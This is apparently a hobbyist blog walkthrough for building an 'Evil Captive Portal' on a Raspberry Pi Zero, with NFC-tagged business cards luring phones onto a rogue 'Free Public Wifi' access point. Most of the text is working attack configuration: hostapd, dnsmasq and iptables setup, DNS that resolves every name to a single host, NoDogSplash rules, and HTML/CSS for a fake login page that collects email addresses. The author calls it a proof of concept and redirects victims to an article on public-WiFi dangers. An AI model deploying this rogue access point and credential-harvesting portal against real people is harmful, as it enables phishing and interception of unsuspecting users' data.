Evil Captive Portal

I think the idea of an Evil Captive Portal has been done to death but I heard someone talking about near-field communication (NFC) tags in the tables at a McDonald's.  The idea is that you put your phone on the table, the phone picks up the tag, and performs some action.  I honestly can't remember if it was taking them to their Twitter account or the web site but it gave me an idea.  The idea is similar to dropping a handful of malicious thumb drives in the parking lot but instead, printing business cards with some text and attaching a pre-programmed NFC tag.  You touch the phone to the card, the tag configures your phone to the Evil WiFi, and the captive portal steals your credentials or whatever.

Seems simple, no?  Except it's not.  I could do this with a Pineapple, I have three but I wanted to do it with a Raspberry Pi Zero.  Eventually, I got stuck on a particular path using NoDogSplash and I wish I'd gone a different route.  I think I could have done this better on my own but I got so far down this path that stubbornness prevented me from turning back. 

I'm running a Pi Zero which has an internal WiFi adapter but I've added an external adapter -- wlan0 and wlan1 respectively.  The internal adapter, wlan0, will connect to the Internet and the external adapter, wlan1, will serve as the access point for the victim.

With Raspian Lite already installed, we need to install and configure a few things:

sudo apt-get install hostapd dnsmasq

sudo systemctl stop hostapd
sudo systemctl stop dnsmasq

Next, we need to edit dhcpd.conf:

sudo nano /etc/dhcpcd.conf

We need to add the following:

interface wlan1
    static ip_address=192.168.220.1/24
    nohook wpa_supplicant

We restart the service:

sudo systemctl restart dhcpcd

Next, we need to edit hostapd.conf:

sudo nano /etc/hostapd/hostapd.conf

We add the following:

interface=wlan1
ssid=Free Public Wifi
hw_mode=g
channel=6
macaddr_acl=0

Next, we need to edit hostapd:

sudo nano /etc/default/hostapd

We need to change DAEMON_CONF:

DAEMON_CONF="/etc/hostapd/hostapd.conf"

Next, we're going to move the original dnsmasq.conf file and edit a blank version:

sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig
sudo nano /etc/dnsmasq.conf

We're going to add the following:

interface=wlan1                               
server=192.168.220.1                                 
dhcp-range=192.168.220.50,192.168.220.150,12h
address=/#/151.101.2.165


The first line sets the interface to wlan1, the second line sets the DNS to our host, the next line sets the DHCP range with a 12 hour lease on the IP, and finally, we're resolving everything to CSOOnline.  That last setting serves two purposes --

1.  I don't really want people getting to the Internet.
2.  On IOS, users will pop a browser to the URL I intend them to see but on Android, they do not because of the Captive Portal App.  As soon as it detects, the Internet, it shuts down.  That prevents the victim from being directed to my intended page.  Hence the duct tape solution. 

Next, we need to edit sysctl.conf:

sudo nano /etc/sysctl.conf

We're changing this line:

#net.ipv4.ip_forward=1

to:

net.ipv4.ip_forward=1

Next, we issue the following commands for iptables:

sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

And then we'll edit rc.local:

sudo nano /etc/rc.local

Above exit 0, we add the following:

iptables-restore < /etc/iptables.ipv4.nat

We then issue the following commands:

sudo systemctl unmask hostapd
sudo systemctl enable hostapd
sudo systemctl start hostapd
sudo service dnsmasq start

And, we'll reboot to make sure everything is working:

sudo init 6

Assuming you see the WiFi Network, we move on to installing NoDogSplash:

cd~
wget https://ftp.gnu.org/gnu/libmicrohttpd/libmicrohttpd-latest.tar.gz
tar -xf libmicrohttpd-latest.tar.gz
cd libmicrohttpd-0.9.70/
./configure
make
sudo make install

cd ~
git clone https://github.com/nodogsplash/nodogsplash.git
cd ~/nodogsplash
make
sudo make install

Once we have everything installed, we need to edit nodogsplash.conf:

sudo nano /etc/nodogsplash/nodogsplash.conf

The bottom seven lines are what I've added but the conf file is loaded with comments.  If you want to strip that out to get a better look:

grep "^[^#;]" /etc/nodogsplash/nodogsplash.conf

That should produce something along the lines of:

GatewayInterface br-lan
login_option_enabled 0
use_outdated_mhd 0
unescape_callback_enabled 0
FirewallRuleSet authenticated-users {
  FirewallRule allow all
}
FirewallRuleSet preauthenticated-users {
}
FirewallRuleSet users-to-router {

    FirewallRule allow udp port 53    
    FirewallRule allow tcp port 53    
    FirewallRule allow udp port 67

   FirewallRule allow tcp port 22
   FirewallRule allow tcp port 80
   FirewallRule allow tcp port 443
}
RedirectURL https://www.csoonline.com/article/3246984/why-you-should-never-ever-connect-to-public-wifi.html
SessionTimeout 1
DebugLevel 1
GatewayInterface wlan1
GatewayAddress 192.168.220.1
MaxClients 250
AuthIdleTimeout 480

This is just a proof of concept project so once they are connected and pass the captive portal, the victim is brought to an article that discusses the dangers of using public WiFi.  ;)

The default pages for NoDogSplash are reminiscent of the 90's web.  I made some changes:

splash.css

@import url(https://fonts.googleapis.com/css?family=Roboto:300);

.login-page {
  width: 360px;
  padding: 8% 0 0;
  margin: auto;
}
.form {
  position: relative;
  z-index: 1;
  background: #FFFFFF;
  max-width: 360px;
  margin: 0 auto 100px;
  padding: 45px;
  text-align: center;
  box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24);
}
.form input {
  font-family: "Roboto", sans-serif;
  outline: 0;
  background: #f2f2f2;
  width: 100%;
  border: 0;
  margin: 0 0 15px;
  padding: 15px;
  box-sizing: border-box;
  font-size: 14px;
}
.form button {
  font-family: "Roboto", sans-serif;
  text-transform: uppercase;
  outline: 0;
  background: #4CAF50;
  width: 100%;
  border: 0;
  padding: 15px;
  color: #FFFFFF;
  font-size: 14px;
  -webkit-transition: all 0.3 ease;
  transition: all 0.3 ease;
  cursor: pointer;
}
.form button:hover,.form button:active,.form button:focus {
  background: #43A047;
}
.form .message {
  margin: 15px 0 0;
  color: #b3b3b3;
  font-size: 12px;
}
.form .message a {
  color: #4CAF50;
  text-decoration: none;
}
.form .register-form {
  display: none;
}
.container {
  position: relative;
  z-index: 1;
  max-width: 300px;
  margin: 0 auto;
}
.container:before, .container:after {
  content: "";
  display: block;
  clear: both;
}
.container .info {
  margin: 50px auto;
  text-align: center;
}
.container .info h1 {
  margin: 0 0 15px;
  padding: 0;
  font-size: 36px;
  font-weight: 300;
  color: #1a1a1a;
}
.container .info span {
  color: #4d4d4d;
  font-size: 12px;
}
.container .info span a {
  color: #000000;
  text-decoration: none;
}
.container .info span .fa {
  color: #EF3B3A;
}
body {
  background: #76b852; /* fallback for old browsers */
  background: -webkit-linear-gradient(right, #76b852, #8DC26F);
  background: -moz-linear-gradient(right, #76b852, #8DC26F);
  background: -o-linear-gradient(right, #76b852, #8DC26F);
  background: linear-gradient(to left, #76b852, #8DC26F);
  font-family: "Roboto", sans-serif;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;      
}
input[type=text], input[type=email], input[type=password] {
 font-size: 1em;
 line-height: 2.0em;
 height: 2.0em;
 color: black;
 background: lightgrey;
}

input[type=submit], input[type=button] {
 font-size: 1em;
 line-height: 2.0em;
 height: 2.0em;
 color: black;
 font-weight: bold;
 background: lightblue;
}

h1{
  font-size: 40px;
  transition-duration: 1s;
  transition-timing-function: ease-in-put;
  font-weight: 200;
}

splash.html

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="0">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<link rel="stylesheet" type="text/css" href="/splash.css">

<script>

$('.message a').click(function(){
   $('form').animate({height: "toggle", opacity: "toggle"}, "slow");
});

</script>

<title>Free Public WiFi</title>

</head>

<body>
<div class="login-page">
<div class="form">
<form name="login" form method="get" action="$authaction">
<input type="hidden" name="tok" value="$tok">
<input type="hidden" name="redir" value="$redir">
<center><h2>WiFi Login</h2></center>
<input type="text" placeholder="Enter Email Address" name="email" value="">
<p></p>
<button>submit</button>
</form>
</div>
</div>

<hr>
<center><copy-right>Copyright &copy; 2020</copy-right></center>

</div></div>

</body>
</html>

status.html

<!DOCTYPE html>
<html>
<head>

<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Expires" content="0">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<link rel="stylesheet" type="text/css" href="/splash.css">

<title>Corporate WiFi Status</title>

</head>

<body>
<div class="offset">
<center><h1>Corporate WiFi Status</h1></center>
<div class="insert">
<br>
<hr>
<p>You are already logged in and have access to the Internet.</p>
<hr>
<p>You can use your Browser, Email and other network Apps as you normally would.</p>

<hr>
<center><copy-right>Copyright &copy;2020</copy-right></center>

</div></div>
</body>
</html>

I stripped all of the comments out to make this easier to read but you should respect their copyright and such.

At this point, we should be good to go.  Execute: 

sudo nodogsplash

If everything is working as it should, you should see the following:


When we select the Free Public WiFi network, we begin our connection:


Once we're connected, we are taken to our Evil Captive Portal:


We enter our email address:


When we click Submit, notice the domain name:


A few seconds and we're taken to the article I mentioned earlier:


With everthying setup, we just need to print our business cards and program our NFC tags.